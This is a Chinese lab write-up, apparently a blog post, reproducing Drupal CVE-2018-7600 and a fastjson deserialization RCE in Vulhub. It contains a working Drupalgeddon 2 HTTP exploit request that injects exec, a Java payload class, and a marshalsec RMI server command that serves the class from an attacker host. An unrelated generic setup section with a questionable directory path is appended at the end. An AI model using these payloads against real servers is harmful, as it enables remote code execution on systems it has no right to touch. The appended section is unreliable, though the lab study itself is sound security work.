Vulhub漏洞复现系列(二):常见远程代码执行漏洞剖析

目录

一.Drupal/CVE-2018-7600

1.搭建环境

2.漏洞复现

3.攻击原理

二.fastjson

1.搭建环境

2.漏洞复现


一.Drupal/CVE-2018-7600

背景:Drupal是一个流行的PHP内容管理系统,CVE-2018-7600 是该项目历史上最严重的漏洞之一,因此被称为 Drupalgeddon 2。出现的漏洞的原因就是Drupal在渲染表单元素时,允许用户传入的结构被直接执行为回调函数,本质是不可信输入被传入可执行上下文,是一种典型的“反序列化”,“动态执行”问题。

1.搭建环境

结束后:

2.漏洞复现

使用Burp Suite进行抓包,发送以下数据包

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1

Host: 192.168.101.152:8080

Content-Type: application/x-www-form-urlencoded

Content-Length: 109

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=uname -a

解释:

参数作用利用点
form_id=user_register_form指定操作的 Drupal 表单(这里是用户注册)指定处理逻辑
_drupal_ajax=1表明这是一个 AJAX 请求触发 AJAX 回调处理路径
element_parents=account/mail/%23value告诉 Drupal 该请求是针对表单中 account[mail][#value] 这个字段的控制参数注入点路径
mail[#post_render][]=exec注入 PHP 的 exec() 函数到表单字段的渲染钩子关键:命令执行点
mail[#type]=markup设置该字段的类型为 markup(直接渲染 HTML)允许 #markup 生效
mail[#markup]=id/其他等等注入的参数,将作为 exec("id") 被执行注入命令

结果:我在命令处写了uname -a,data部分就显示了该系统内核版本

3.攻击原理

CVE-2018-7600 的攻击原理在于 Drupal 在处理未认证用户提交的 AJAX 表单请求时,未对结构化参数(如 #post_render)进行有效过滤,攻击者可通过精心构造的请求,将任意 PHP 函数(如 exec)注入表单字段的渲染流程中,从而导致服务器在生成响应时执行恶意命令,最终实现远程代码执行(RCE)。

二.fastjson

背景:Fastjson 是阿里巴巴开源的一个高性能 Java JSON 处理库,用于在 Java 应用中快速地将对象与 JSON 数据互相转换。自 2011 年开源以来,凭借其出色的解析速度和易用的 API,广泛应用于国内外的 Java 项目中。尽管功能强大,但 Fastjson 的一个设计特点——可以自动根据传入 JSON 的类型字段(@type)动态实例化类对象,带来了严重的安全隐患。如果传入的数据未做严格校验,攻击者可以构造恶意 JSON 数据,利用 Fastjson 的反序列化机制加载任意类,触发类的构造函数或特定的 getter 方法执行代码,从而造成远程命令执行(RCE)等安全问题。

1.搭建环境

2.漏洞复现

1)创建出发漏洞的Java类

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/successFrank"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

解释:这段 Java 代码的目的是在反序列化时触发代码执行。类 TouchFile 在静态代码块中执行了一个命令,即创建一个名为 /tmp/successFrank 的文件。

2)编译和传输TouchFile.class文件

3)启用HTTP服务来提供.class文件

4)启动marshalsec RMI服务

marshalsec 是一个工具,用于在远程代码执行攻击中构造和加载恶意的 Java 类。你需要使用 marshalsec 来启动 RMI 服务并将 TouchFile.class 文件加载到目标服务器上。)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://<虚拟机IP>:4444/#TouchFile" 9999

5)发现java和javac的版本必须得是1.8的,后面就没有继续

### 使用Vulhub复现Docker安全漏洞 #### 准备工作 为了使用Vulhub进行漏洞复现,需先确保已安装并配置好`docker`和`docker-compose`工具。这一步骤至关重要,因为后续操作依赖于这两个软件来构建和管理容器化应用环境。 #### 获取Vulhub项目源码 访问[Vulhub GitHub仓库](https://github.com/vulhub/vulhub),克隆整个项目到本地计算机上。通过Git命令可以轻松完成此过程: ```bash git clone https://github.com/vulhub/vulhub.git ``` #### 构建特定漏洞场景 进入想要测试的具体漏洞目录下,比如针对未授权远程代码执行(Unauthorized RCE)漏洞,则切换至对应文件夹位置: ```bash cd vulhub/docker/unauthorized-rce/ ``` 在此处执行如下指令以启动服务: ```bash docker-compose build docker-compose up -d ``` 上述命令会依据定义好的`docker-compose.yml`文件自动下载所需的基础镜像、设置网络连接以及启动相关联的服务实例[^3]。 #### 验证漏洞存在性 一旦成功搭建起目标应用程序及其关联组件之后,就可以按照官方文档或者其他参考资料中的指导来进行攻击尝试,验证该环境中确实存在着所描述的安全缺陷。对于某些复杂类型的漏洞可能还需要额外准备一些辅助脚本或工具来帮助分析问题所在。 #### 清理资源 实验结束后记得停止所有正在运行的容器,并移除不再使用的数据卷以免占用过多系统资源: ```bash docker-compose down --volumes ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你好我是小美

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值